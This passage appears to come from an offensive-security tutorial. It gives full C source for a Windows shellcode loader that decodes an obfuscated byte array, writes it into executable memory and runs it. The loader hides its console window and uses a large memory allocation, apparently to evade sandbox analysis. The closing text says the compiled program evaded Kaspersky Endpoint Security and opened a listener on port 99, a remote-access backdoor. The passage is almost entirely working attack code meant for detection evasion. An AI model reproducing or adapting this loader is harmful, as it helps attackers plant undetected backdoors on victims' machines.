"\x7c\x1b\x06\x77\x02\x7d\x20\x72\x1b\x20\x11\x1b\x6d\x7c\x6d\x1b\x06\x7d"
"\x1b\x7d\x02\x6d\x77\x1b\x02\x72\x77\x11\x6d\x0c\x07\x16\x7c\x0c\x07\x16"
"\x01\x7c\x06\x77\x20\x78\x16\x16\x20\x11\x7c\x11\x6d\x20\x01\x77\x11\x11"
"\x7c\x25\x1b\x77\x25\x20\x11\x7c\x1b\x77\x02\x06\x72\x06\x6d\x78\x07\x01"
"\x25\x06\x1b\x06\x78\x6d\x7c\x1b\x06\x11\x20\x06\x1b\x11\x77\x1b\x06\x11"
"\x0c\x11\x7d\x01\x16\x78\x78\x20\x16\x16\x02\x78\x7d\x02\x20\x11\x20\x78"
"\x0c\x6d\x77\x0c\x77\x07\x7d\x72\x01\x02\x02\x16\x07\x78\x25\x0c\x25\x11"
"\x11\x25\x7d\x02\x20\x77\x07\x7d\x7d\x7d\x1b\x0c\x78\x72\x07\x01\x6d\x02"
"\x11\x02\x07\x72\x6d\x20\x02\x25\x72\x7d\x06\x06\x77\x25\x02\x7c\x25\x77"
"\x11\x1b\x25\x01\x72\x6d\x16\x6d\x07\x16\x01\x7c\x11\x72\x16\x6d\x7d\x07"
"\x20\x11\x06\x20\x06\x25\x06\x20\x11\x11\x1b\x16\x01\x02\x11\x16\x78\x02"
"\x7c\x06\x7c\x0c\x6d\x01\x77\x16\x77\x7c\x0c\x06\x7d\x25\x06\x0c\x78\x06"
"\x78\x25\x16\x02\x72\x77\x77\x72\x01\x6d\x16\x7c\x07\x7c\x25\x25\x11\x1b"
"\x0c\x6d\x02\x7c\x16\x1b\x11\x1b\x7c\x16\x7d\x25\x07\x1b\x78\x01\x20\x78"
"\x06\x1b\x06\x7d\x06\x20\x16\x02\x6d\x7d\x6d\x72\x11\x1b\x02\x7c\x02\x11"
"\x02\x7c\x25\x0c\x01\x01\x07\x07\x07\x02\x06\x7d\x25\x20\x7c\x72\x20\x07"
"\x6d\x77\x7c\x77\x01\x0c\x02\x77\x07\x25\x01\x25\x25\x7c\x11\x78\x7c\x25"
"\x7d\x16\x1b\x0c\x7c\x7d\x01\x25\x11\x77\x7c\x0c\x1b\x78\x16\x02\x07\x25"
"\x20\x7c\x77\x78\x01\x06\x72\x6d\x1b\x20\x78\x16\x7d\x16\x07\x25\x20\x20"
"\x06\x1b\x01\x7c\x02\x7d\x06\x25\x06\x02\x6d\x6d\x01\x11\x7d\x02\x20\x06"
"\x6d\x07\x20\x07\x7d\x0c\x07\x77\x77\x07\x20\x7d";

unsigned char* hexTochar(char* code) {
    char* end;
    unsigned long int j = strtol(code, &end, 16);
    char* str = (char*)calloc(strlen(code), sizeof(char));
    int i = 0;
    for (;; ) {
        sprintf(str + i * sizeof(char), "%c", (int)j);
        i++;
        j = strtol(end, &end, 16);
        if (j == 0)
            break;
    }
    return (unsigned char*)str;
}

char* operation(char* code, size_t len)
{
    unsigned int  k, y1 = 0, y2 = 0, x1 = 0, x2 = 0;
    char* b = (char*)calloc(strlen(code), (len + 1) * 4);
    char* b2 = (char*)calloc(strlen(code), (len + 1) * 4);

    for (k = 0; code[k] != '\0'; k += 2)
    {
        y1 = code[k];
        y2 = code[k + 1];
        x1 = (y1 - 8) * ((18 << 2) + 5) & ((32 << 2) - 1);
        x2 = (y2 - 8) * ((18 << 2) + 5) & ((32 << 2) - 1);
        b[k] = x1;
        b[k + 1] = x2;
        sprintf(b2 + strlen(b2), "%c%c ", b[k], b[k + 1]);
        b = (char*)realloc(b, (len + 1) * 4);
        b2 = (char*)realloc(b2, (len + 1) * 4);
    }

    free(b);
    return b2;
}

char *string_malloc(size_t size)
{
    char *str = (char*)malloc(size); 
    if (str == NULL)
    {
        fprintf(stderr, "out of memory"); 
        exit(EXIT_FAILURE); 
    }
    for (size_t i = 0; i < size; i++)
    {
        str[i] = '\0';
    }
    return str;
}


int main(int argc, char** argv)
{
    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_HIDE);
    char* memdmp = NULL;
    memdmp = (char*)malloc(100000000);
    if (memdmp != NULL)
    {
        memset(memdmp, 00, 100000000);
        free(memdmp);

        size_t len = strlen(code);
        char* hex = (char*)string_malloc(len * sizeof(code));
        memcpy(hex, code, len);
        char* hexfromchr = operation(hex, len);

        unsigned char* chr = hexTochar(hexfromchr);
        free(hexfromchr);

        void* exec = VirtualAlloc(0, strlen((char*)chr), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(exec, chr, strlen((char*)chr)-1);
        ((void(*)())exec)();
    }
    return 0;
}

After compiling the program above, if we scan the executable file with Kaspersky Endpoint Security, we realize that we have successfully bypassed detection. The following image shows that Kaspersky Endpoint Security didn't identified the program as malicious

Then if we run the executable we will have a nice listener on port 99 as depicted in the image below.